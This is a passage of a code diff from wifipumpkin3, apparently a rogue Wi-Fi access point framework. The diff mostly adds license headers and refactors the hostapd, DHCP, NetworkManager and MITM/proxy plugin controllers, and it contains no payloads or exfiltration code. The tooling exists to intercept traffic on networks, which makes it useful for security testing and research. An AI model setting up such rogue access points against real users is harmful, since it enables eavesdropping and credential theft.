if '$wlan' in ech:
|
||||
ech = ech.replace('$wlan',self.ifaceHostapd)
|
||||
popen(ech)
|
||||
except: pass
|
||||
|
||||
for thread in self.threadsAP['RougeAP']:
|
||||
time.sleep(3)
|
||||
thread.start()
|
||||
|
||||
# save settings AP
|
||||
self.conf.set('accesspoint','statusAP',True)
|
||||
self.conf.set('accesspoint','interfaceAP',self.ifaceHostapd)
|
||||
self.sendStatusPoint.emit(True)
|
||||
|
||||
def stop(self):
|
||||
if not len(self.threadsAP['RougeAP']) > 0:
|
||||
return
|
||||
self.conf.set('accesspoint', 'statusAP',False)
|
||||
for thread in self.threadsAP['RougeAP']:
|
||||
thread.stop()
|
||||
|
||||
if hasattr(self,'SettingsAP'):
|
||||
for line in self.SettingsAP['kill']: exec_bash(line)
|
||||
self.threadsAP['RougeAP'] = []
|
||||
|
||||
def get_DHCPoutPut(self, data):
|
||||
self.parent.ui_table.add_Clients(data)
|
||||
print(data)
|
||||
|
||||
def get_PumpkinProxy_output(self, data):
|
||||
print(data)
|
||||
|
||||
def get_Hostapd_Response(self,data):
|
||||
print(data)
|
||||
|
||||
def get_error_hostapdServices(self,data):
|
||||
if self.conf.get('accesspoint','statusAP',format=bool):
|
||||
print(display_messages('Hostapd Error',error=True))
|
||||
print(data)
|
||||
|
||||
def getDHCPConfig(self):
|
||||
DHCP ={}
|
||||
DHCP['leasetimeDef'] = self.conf.get('dhcpdefault','leasetimeDef')
|
||||
DHCP['leasetimeMax'] = self.conf.get('dhcpdefault','leasetimeMax')
|
||||
DHCP['subnet'] = self.conf.get('dhcpdefault','subnet')
|
||||
DHCP['router'] = self.conf.get('dhcpdefault','router')
|
||||
DHCP['netmask'] = self.conf.get('dhcpdefault','netmask')
|
||||
DHCP['broadcast'] = self.conf.get('dhcpdefault','broadcast')
|
||||
DHCP['range'] = self.conf.get('dhcpdefault','range')
|
||||
return DHCP
|
||||
|
||||
|
||||
def get_supported_interface(self,dev):
|
||||
''' get all support mode from interface wireless '''
|
||||
_iface = {'info':{},'Supported': []}
|
||||
try:
|
||||
output = check_output(['iw',dev,'info'],stderr=STDOUT, universal_newlines=True)
|
||||
for line in output.split('\n\t'):
|
||||
_iface['info'][line.split()[0]] = line.split()[1]
|
||||
rulesfilter = '| grep "Supported interface modes" -A 10 | grep "*"'
|
||||
supportMode = popen('iw phy{} info {}'.format(_iface['info']['wiphy'],rulesfilter)).read()
|
||||
for mode in supportMode.split('\n\t\t'):
|
||||
_iface['Supported'].append(mode.split('* ')[1])
|
||||
except CalledProcessError:
|
||||
return _iface
|
||||
return _iface
|
||||
|
||||
def setNetworkManager(self, interface=str,Remove=False):
|
||||
''' mac address of interface to exclude '''
|
||||
networkmanager = C.NETWORKMANAGER
|
||||
config = configparser.RawConfigParser()
|
||||
MAC = Linux.get_interface_mac(interface)
|
||||
exclude = {'MAC': 'mac:{}'.format(MAC),'interface': 'interface-name:{}'.format(interface)}
|
||||
if not Remove:
|
||||
if path.exists(networkmanager):
|
||||
config.read(networkmanager)
|
||||
try:
|
||||
config.add_section('keyfile')
|
||||
except configparser.DuplicateSectionError:
|
||||
config.set('keyfile','unmanaged-devices','{}'.format(
|
||||
exclude['interface'] if MAC != None else exclude['MAC']))
|
||||
else:
|
||||
config.set('keyfile','unmanaged-devices','{}'.format(
|
||||
exclude['interface'] if MAC != None else exclude['MAC']))
|
||||
finally:
|
||||
with open(networkmanager, 'wb') as configfile:
|
||||
config.write(configfile)
|
||||
return True
|
||||
return False
|
||||
elif Remove:
|
||||
if path.exists(networkmanager):
|
||||
config.read(networkmanager)
|
||||
try:
|
||||
config.remove_option('keyfile','unmanaged-devices')
|
||||
with open(networkmanager, 'wb') as configfile:
|
||||
config.write(configfile)
|
||||
return True
|
||||
except configparser.NoSectionError:
|
||||
return True
|
||||
return False
|
@ -17,23 +17,22 @@ from glob import glob
|
||||
import warnings, json
|
||||
from uuid import uuid1
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
loggers = {}
|
||||
'''http://stackoverflow.com/questions/17035077/python-logging-to-multiple-log-files-from-different-classes'''
|
||||
def setup_logger(logger_name, log_file,key=str(), level=logging.INFO):
|
||||
global loggers
|
||||
if loggers.get(logger_name):
|
||||
return loggers.get(logger_name)
|
||||
else:
|
||||
logger = logging.getLogger(logger_name)
|
||||
logger.propagate = False
|
||||
formatter = logging.Formatter('SessionID[{}] %(asctime)s : %(message)s'.format(key))
|
||||
fileHandler = logging.FileHandler(log_file, mode='a')
|
||||
fileHandler.setFormatter(formatter)
|
||||
logger.setLevel(logging.INFO)
|
||||
logger.addHandler(fileHandler)
|
||||
return logger
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class Linux(QtCore.QObject):
|
||||
|
||||
@ -163,6 +162,15 @@ class Linux(QtCore.QObject):
|
||||
f.close()
|
||||
return content
|
||||
|
||||
@staticmethod
|
||||
def readFileExceptions(filename, mode='r'):
|
||||
""" return content the any files .txt"""
|
||||
content= ''
|
||||
with open('{}{}.txt'.format(C.EXCEPTFILESPATH,filename), mode) as f:
|
||||
content = f.read()
|
||||
f.close()
|
||||
return content
|
||||
|
||||
@staticmethod
|
||||
def generate_session_id():
|
||||
''' return str session id '''
|
||||
|
@ -6,12 +6,29 @@ from os import popen
|
||||
import sys
|
||||
from wifipumpkin3.core.common.platforms import Linux
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class ConsoleUI(Cmd):
|
||||
''' shell console UI '''
|
||||
def __init__(self,parse_args=None):
|
||||
self.parse_args = parse_args
|
||||
Cmd.__init__(self)
|
||||
self.conf = SettingsINI(C.CONFIG_INI)
|
||||
self.conf = SettingsINI.getInstance()
|
||||
self.set_prompt()
|
||||
self.initialize_core()
|
||||
self.setOptions()
|
||||
@ -39,10 +56,6 @@ class ConsoleUI(Cmd):
|
||||
def set_prompt(self):
|
||||
self.prompt = '{} > '.format(setcolor('wp3',color='blue',underline=True))
|
||||
|
||||
# def do_modules(self,args):
|
||||
# """ show modules available"""
|
||||
# pass
|
||||
|
||||
def do_search(self,args):
|
||||
""" search modules by name"""
|
||||
pass
|
||||
@ -51,10 +64,6 @@ class ConsoleUI(Cmd):
|
||||
""" load module on session"""
|
||||
pass
|
||||
|
||||
# def do_back(self,args):
|
||||
# """ unload module on session"""
|
||||
# pass
|
||||
|
||||
## Override methods in Cmd object ##
|
||||
def preloop(self):
|
||||
"""Initialization before prompting user for commands.
|
||||
@ -65,7 +74,6 @@ class ConsoleUI(Cmd):
|
||||
self._locals = {} ## Initialize execution namespace for user
|
||||
self._globals = {}
|
||||
|
||||
|
||||
def do_help(self,args):
|
||||
""" show this help """
|
||||
names = self.get_names()
|
||||
@ -97,7 +105,6 @@ class ConsoleUI(Cmd):
|
||||
if (len(output) > 0):
|
||||
print(output)
|
||||
|
||||
|
||||
def loadPulpFiles(self, file, data=None):
|
||||
''' load and execute all commands in file pulp separate for \n '''
|
||||
print('\n'+display_messages('mode: {}'.format(setcolor('script', 'ciano', True)),info=True))
|
||||
@ -139,9 +146,6 @@ class ConsoleUI(Cmd):
|
||||
print('Quitting.')
|
||||
raise SystemExit
|
||||
|
||||
|
||||
|
||||
|
||||
class ModuleUI(Cmd):
|
||||
''' shell console UI '''
|
||||
_name_module = None
|
||||
@ -185,8 +189,6 @@ class ModuleUI(Cmd):
|
||||
try:
|
||||
command,value = args.split()[0],args.split()[1]
|
||||
if (command in self.options.keys()):
|
||||
#self.conf.set('accesspoint',self.commands[command],value)
|
||||
print(display_messages('changed to {} => {}'.format(command, value),sucess=True))
|
||||
self.options[command] = [value, self.options[command][1]]
|
||||
else:
|
||||
print(display_messages('unknown command: {} '.format(command),error=True))
|
||||
@ -217,7 +219,6 @@ class ModuleUI(Cmd):
|
||||
else:
|
||||
cmds_doc.append((cmd, ""))
|
||||
|
||||
#self.stdout.write('%s\n'%str(self.doc_header))
|
||||
self.stdout.write(' {} {}\n'.format('Commands', 'Description'))
|
||||
self.stdout.write(' {} {}\n'.format('--------', '-----------'))
|
||||
for command,doc in cmds_doc:
|
||||
@ -225,7 +226,6 @@ class ModuleUI(Cmd):
|
||||
self.stdout.write(' {:<10} {}\n'.format(command, doc))
|
||||
print('\n')
|
||||
|
||||
|
||||
def loadPulpFiles(self, file, data=None):
|
||||
''' load and execute all commands in file pulp separate for \n '''
|
||||
if os.path.isfile(file):
|
||||
@ -237,6 +237,7 @@ class ModuleUI(Cmd):
|
||||
sys.exit(1)
|
||||
|
||||
def default(self, args=str):
|
||||
''' run commands system allow by tool '''
|
||||
for goodArgs in C.SYSTEMCOMMAND:
|
||||
if (args.startswith(goodArgs)):
|
||||
output = popen(args).read()
|
||||
|
@ -4,6 +4,23 @@ import wifipumpkin3.core.utility.constants as C
|
||||
from wifipumpkin3.core.utility.collection import SettingsINI
|
||||
from wifipumpkin3.core.common.platforms import Linux
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class CoreSettings(Linux):
|
||||
|
||||
Name = "General"
|
||||
@ -14,7 +31,6 @@ class CoreSettings(Linux):
|
||||
__subitem=False
|
||||
conf={}
|
||||
|
||||
|
||||
def __init__(self,parent=0,FSettings=None):
|
||||
super(CoreSettings,self).__init__()
|
||||
self.parent = parent
|
||||
@ -31,8 +47,6 @@ class CoreSettings(Linux):
|
||||
def osWalkCallback(self,arg,directory,files):
|
||||
pass
|
||||
|
||||
|
||||
|
||||
class TabsWidget(Qt.QObject):
|
||||
Name="Generic"
|
||||
ID = "Generic"
|
||||
@ -41,7 +55,6 @@ class TabsWidget(Qt.QObject):
|
||||
def __init__(self,parent=0,FSettings=None):
|
||||
super(TabsWidget,self).__init__()
|
||||
self.setObjectName(self.Name)
|
||||
#self.setTitle("{}".format(self.Name))
|
||||
self.conf = SuperSettings.getInstance()
|
||||
self.parent = parent
|
||||
|
||||
@ -49,8 +62,6 @@ class TabsWidget(Qt.QObject):
|
||||
def isSubitem(self):
|
||||
return self.__subitem
|
||||
|
||||
|
||||
|
||||
class PluginsUI(Qt.QObject):
|
||||
Name = "Default"
|
||||
Caption = "Default"
|
||||
|
@ -4,10 +4,6 @@ from pwd import getpwnam
|
||||
from grp import getgrnam
|
||||
from PyQt5 import QtCore, Qt
|
||||
from logging import getLogger,ERROR
|
||||
# from core.utils import (
|
||||
# Refactor,set_monitor_mode,waiterSleepThread,
|
||||
# setup_logger,is_ascii,is_hexadecimal,exec_bash,del_item_folder
|
||||
# )
|
||||
import wifipumpkin3.core.utility.constants as C
|
||||
from wifipumpkin3.core.utility.collection import SettingsINI
|
||||
from wifipumpkin3.core.utility.collection import SettingsINI as SuperSettings
|
||||
@ -16,9 +12,25 @@ from functools import partial
|
||||
from netaddr import EUI
|
||||
from wifipumpkin3.core.utility.printer import display_messages,display_tabulate, setcolor
|
||||
from wifipumpkin3.core.common.platforms import Linux as Refactor
|
||||
from wifipumpkin3.core.common.platforms import setup_logger
|
||||
from wifipumpkin3.core.widgets.default.logger_manager import StandardLog, LoggerManager
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
def deleteObject(obj):
|
||||
''' reclaim memory '''
|
||||
del obj
|
||||
@ -40,13 +52,11 @@ def get_mac_vendor(mac):
|
||||
d_vendor = 'unknown mac'
|
||||
return d_vendor
|
||||
|
||||
|
||||
def exec_bash(command):
|
||||
''' run command on background hide output'''
|
||||
os.popen(command)
|
||||
|
||||
|
||||
__all__ = ["deleteObject","os","sys","exec_bash","LoggerManager","StandardLog","setup_logger","Qt","QtCore","SuperSettings","getLogger","ERROR",
|
||||
__all__ = ["deleteObject","os","sys","exec_bash","LoggerManager","StandardLog","Qt","QtCore","SuperSettings","getLogger","ERROR",
|
||||
"C","OrderedDict","partial","Refactor","getgrnam",
|
||||
"getpwnam","ProgramPath","get_mac_vendor"]
|
||||
|
||||
|
@ -10,6 +10,23 @@ from wifipumpkin3.core.controllers.mitmcontroller import *
|
||||
from wifipumpkin3.core.controllers.dnscontroller import *
|
||||
from wifipumpkin3.core.controllers.uicontroller import *
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class DefaultController(Qt.QObject):
|
||||
|
||||
_controllers = {}
|
||||
|
@ -2,6 +2,23 @@ from wifipumpkin3.core.config.globalimport import *
|
||||
from wifipumpkin3.core.utility.component import ControllerBlueprint
|
||||
from wifipumpkin3.core.servers.dhcp import *
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class DHCPController(ControllerBlueprint):
|
||||
ID = 'dhcp_controller'
|
||||
|
||||
|
@ -2,6 +2,22 @@ from wifipumpkin3.core.config.globalimport import *
|
||||
from wifipumpkin3.core.utility.component import ControllerBlueprint
|
||||
from wifipumpkin3.core.servers.dns import *
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class DNSController(ControllerBlueprint):
|
||||
|
||||
|
@ -3,6 +3,22 @@ from wifipumpkin3.core.servers.mitm import *
|
||||
from wifipumpkin3.core.common.uimodel import *
|
||||
from wifipumpkin3.core.utility.component import ControllerBlueprint
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class MitmController(PluginsUI,ControllerBlueprint):
|
||||
Name = "MITM"
|
||||
@ -22,8 +38,8 @@ class MitmController(PluginsUI,ControllerBlueprint):
|
||||
# append controller in DefaultWidget
|
||||
self.parent.getDefault.addController(self)
|
||||
self.conf = SuperSettings.getInstance()
|
||||
#self.uplinkIF = self.parent.Refactor.get_interfaces()
|
||||
#self.downlinkIF = self.parent.WLANCard.currentText()
|
||||
|
||||
# find all mitm plugin files
|
||||
__manipulator= [prox(parent=self.parent) for prox in mitmmode.MitmMode.__subclasses__()]
|
||||
#Keep Proxy in a dictionary
|
||||
for k in __manipulator:
|
||||
@ -40,29 +56,9 @@ class MitmController(PluginsUI,ControllerBlueprint):
|
||||
'Config' : k.getConfig,
|
||||
}
|
||||
|
||||
self.m_name = []
|
||||
self.m_desc = []
|
||||
self.m_settings = []
|
||||
# set all mitm plugin as child class
|
||||
for n,p in self.mitmhandler.items():
|
||||
# self.m_name.append(p.controlui)
|
||||
# self.m_settings.append(p.btnChangeSettings)
|
||||
# self.m_desc.append(p.controlui.objectName())
|
||||
#self.manipulatorGroup.addButton(p.controlui)
|
||||
setattr(self,p.ID,p)
|
||||
#self.parent.LeftTabBar.addItem(p.tabinterface)
|
||||
#self.parent.Stack.addWidget(p)
|
||||
|
||||
self.MitmModeTable = OrderedDict(
|
||||
[('Activity Monitor', self.m_name),
|
||||
('Settings', self.m_settings),
|
||||
('Description', self.m_desc)
|
||||
])
|
||||
|
||||
def DisableMitmMode(self,status):
|
||||
self.SetNoMitmMode.emit(status)
|
||||
|
||||
def dockUpdate(self,add=True):
|
||||
self.dockMount.emit(add)
|
||||
|
||||
@property
|
||||
def ActiveDock(self):
|
||||
@ -105,14 +101,12 @@ class MitmController(PluginsUI,ControllerBlueprint):
|
||||
for i in self.Active:
|
||||
i.boot()
|
||||
|
||||
|
||||
@property
|
||||
def getAllReactor(self):
|
||||
reactor=[]
|
||||
for i in self.Active:
|
||||
reactor.append(i.reactor)
|
||||
return reactor
|
||||
|
||||
|
||||
def getReactorInfo(self):
|
||||
info_reactor = {}
|
||||
|
@ -4,7 +4,22 @@ from wifipumpkin3.core.common.uimodel import *
|
||||
from wifipumpkin3.core.servers.proxy import *
|
||||
from wifipumpkin3.core.utility.component import ControllerBlueprint
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class ProxyModeController(PluginsUI, ControllerBlueprint):
|
||||
Name = "Proxy"
|
||||
@ -26,9 +41,7 @@ class ProxyModeController(PluginsUI, ControllerBlueprint):
|
||||
self.parent.getDefault.addController(self)
|
||||
self.conf = SuperSettings.getInstance()
|
||||
|
||||
#self.setChecked(self.conf.get('plugins', 'disableproxy', format=bool))
|
||||
#self.clicked.connect(self.get_disable_proxy)
|
||||
|
||||
# load all plugin proxy
|
||||
__proxlist= [prox(parent=self.parent) for prox in proxymode.ProxyMode.__subclasses__()]
|
||||
|
||||
#Keep Proxy in a dictionary
|
||||
@ -47,59 +60,14 @@ class ProxyModeController(PluginsUI, ControllerBlueprint):
|
||||
'Config' : k.getConfig,
|
||||
}
|
||||
|
||||
|
||||
|
||||
self.p_name = []
|
||||
self.p_desc = []
|
||||
self.p_settings = []
|
||||
self.p_author = []
|
||||
self.NoProxy = None
|
||||
# set all proxy plugin as child class
|
||||
for n,p in self.proxies.items():
|
||||
if p.Name == "No Proxy":
|
||||
self.NoProxy = p
|
||||
self.p_author.append(p.Author)
|
||||
#self.p_desc.append(p.controlui.objectName())
|
||||
# if (type(p.controlui) == type(QtGui.QRadioButton()) ):
|
||||
# self.proxyGroup.addButton(p.controlui)
|
||||
#p.sendSingal_disable.connect(self.DisableProxy)
|
||||
#p.dockwidget.addDock.connect(self.dockUpdate)
|
||||
if (hasattr(p,'ID')):
|
||||
setattr(self, p.ID, p)
|
||||
|
||||
self.THeadersPluginsProxy = OrderedDict(
|
||||
[('Proxies', self.p_name),
|
||||
('Settings', self.p_settings),
|
||||
('Author', self.p_author),
|
||||
('Description', self.p_desc)
|
||||
])
|
||||
|
||||
def isChecked(self):
|
||||
return self.conf.get('plugins', self.ID, format=bool)
|
||||
|
||||
def get_disable_proxy(self):
|
||||
|
||||
|
||||
if self.isChecked():
|
||||
if self.Active.Name == "No Proxy":
|
||||
self.SetNoProxy.emit(False)
|
||||
else:
|
||||
|
||||
self.parent.set_proxy_statusbar(self.Active.Name, disabled=False)
|
||||
self.FSettings.Settings.set_setting('plugins', 'disableproxy',
|
||||
self.isChecked())
|
||||
|
||||
else:
|
||||
self.SetNoProxy.emit(self.isChecked())
|
||||
self.FSettings.Settings.set_setting('plugins', 'disableproxy',
|
||||
self.isChecked())
|
||||
|
||||
|
||||
def dockUpdate(self,add=True):
|
||||
self.dockMount.emit(add)
|
||||
|
||||
def DisableProxy(self,status):
|
||||
self.SetNoProxy.emit(status)
|
||||
|
||||
@property
|
||||
def ActiveDocks(self):
|
||||
return self.Active.dockwidget
|
||||
@ -118,8 +86,6 @@ class ProxyModeController(PluginsUI, ControllerBlueprint):
|
||||
reactor.append(act.subreactor)
|
||||
return reactor
|
||||
|
||||
|
||||
|
||||
@property
|
||||
def Active(self):
|
||||
for act in self.proxies.values():
|
||||
@ -165,7 +131,6 @@ class ProxyModeController(PluginsUI, ControllerBlueprint):
|
||||
proxy.Serve()
|
||||
proxy.boot()
|
||||
|
||||
|
||||
@property
|
||||
def getReactor(self):
|
||||
return self.Active.reactor
|
||||
@ -182,5 +147,4 @@ class ProxyModeController(PluginsUI, ControllerBlueprint):
|
||||
self.Active.shutdown()
|
||||
|
||||
def SaveLog(self):
|
||||
|
||||
self.Active.SaveLog()
|
||||
|
@ -3,6 +3,23 @@ from wifipumpkin3.core.utility.component import ControllerBlueprint
|
||||
from wifipumpkin3.core.servers.dhcp import *
|
||||
from wifipumpkin3.core.ui import *
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class UIController(ControllerBlueprint):
|
||||
ID = 'ui_controller'
|
||||
ui_handler = {}
|
||||
@ -21,5 +38,6 @@ class UIController(ControllerBlueprint):
|
||||
for k in __manipulator:
|
||||
self.ui_handler[k.Name]=k
|
||||
|
||||
# set all ui plugin as child class
|
||||
for n,p in self.ui_handler.items():
|
||||
setattr(self,p.ID,p)
|
@ -8,13 +8,29 @@ from pwd import getpwnam
|
||||
from grp import getgrnam
|
||||
from wifipumpkin3.core.wirelessmode import *
|
||||
from json import dumps,loads
|
||||
#from core.widgets.default.SessionConfig import *
|
||||
from datetime import datetime
|
||||
from wifipumpkin3.core.common.uimodel import *
|
||||
from wifipumpkin3.core.utility.collection import SettingsINI
|
||||
from wifipumpkin3.core.wirelessmode import *
|
||||
from wifipumpkin3.core.utility.component import ControllerBlueprint
|
||||
|
||||
# This file is part of the wifipumpkin3 Open Source Project.
|
||||
# wifipumpkin3 is licensed under the Apache 2.0.
|
||||
|
||||
# Copyright 2020 P0cL4bs Team - Marcos Bomfim (mh4x0f)
|
||||
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
class WirelessModeController(ControllerBlueprint):
|
||||
ID = 'wireless_controller'
|
||||
|
||||
@ -29,10 +45,6 @@ class WirelessModeController(ControllerBlueprint):
|
||||
self.conf = SettingsINI.getInstance()
|
||||
# append controller in DefaultWidget
|
||||
self.parent.getDefault.addController(self)
|
||||
#self.SessionsAP = loads(str(self.FSettings.Settings.get_setting('accesspoint', 'sessions')))
|
||||
#self.currentSessionID = self.parent.currentSessionID
|
||||
#self.SettingsAP = self.parent.SettingsAP
|
||||
#self.SessionConfig = SessionConfig.instances[0]
|
||||
|
||||
@property
|
||||
def Activated(self):
|
||||
@ -58,61 +70,13 @@ class WirelessModeController(ControllerBlueprint):
|
||||
|
||||
def Start(self):
|
||||
''' start Access Point and settings plugins '''
|
||||
# if len(self.Settings.WLANCard.currentText()) == 0:
|
||||
# return QtGui.QMessageBox.warning(self, 'Error interface ', 'Network interface is not found')
|
||||
# if not type(self.Activated.get_soft_dependencies()) is bool: return
|
||||
|
||||
# # check if interface has been support AP mode (necessary for hostapd)
|
||||
# if self.FSettings.Settings.get_setting('accesspoint', 'check_support_ap_mode', format=bool):
|
||||
# if not 'AP' in Refactor.get_supported_interface(self.Settings.WLANCard.currentText())['Supported']:
|
||||
# return QtGui.QMessageBox.warning(self, 'No Network Supported failed',
|
||||
# "<strong>failed AP mode: warning interface </strong>, the feature "
|
||||
# "Access Point Mode is Not Supported By This Device -><strong>({})</strong>.<br><br>"
|
||||
# "Your adapter does not support for create Access Point Network."
|
||||
# " ".format(self.Settings.WLANCard.currentText()))
|
||||
|
||||
# # check connection with internet
|
||||
# #self.interfacesLink = Refactor.get_interfaces()
|
||||
# # check if Wireless interface is being used
|
||||
# if str(self.Settings.WLANCard.currentText()) == self.Activated.interfacesLink['activated'][0]:
|
||||
# iwconfig = Popen(['iwconfig'], stdout=PIPE, shell=False, stderr=PIPE)
|
||||
# for line in iwconfig.stdout.readlines():
|
||||
# if str(self.Settings.WLANCard.currentText()) in line:
|
||||
# return QtGui.QMessageBox.warning(self, 'Wireless interface is busy',
|
||||
# 'Connection has been detected, this {} is joined the correct Wi-Fi network'
|
||||
# ' : Device or resource busy\n{}\nYou may need to another Wi-Fi USB Adapter'
|
||||
# ' for create AP or try use with local connetion(Ethernet).'.format(
|
||||
# str(self.Settings.WLANCard.currentText()), line))
|
||||
# # check if using ethernet or wireless connection
|
||||
# print('[*] Configuring {}...'.format(self.Activated.Name))
|
||||
# self.parent.SettingsEnable['AP_iface'] = str(self.Settings.WLANCard.currentText())
|
||||
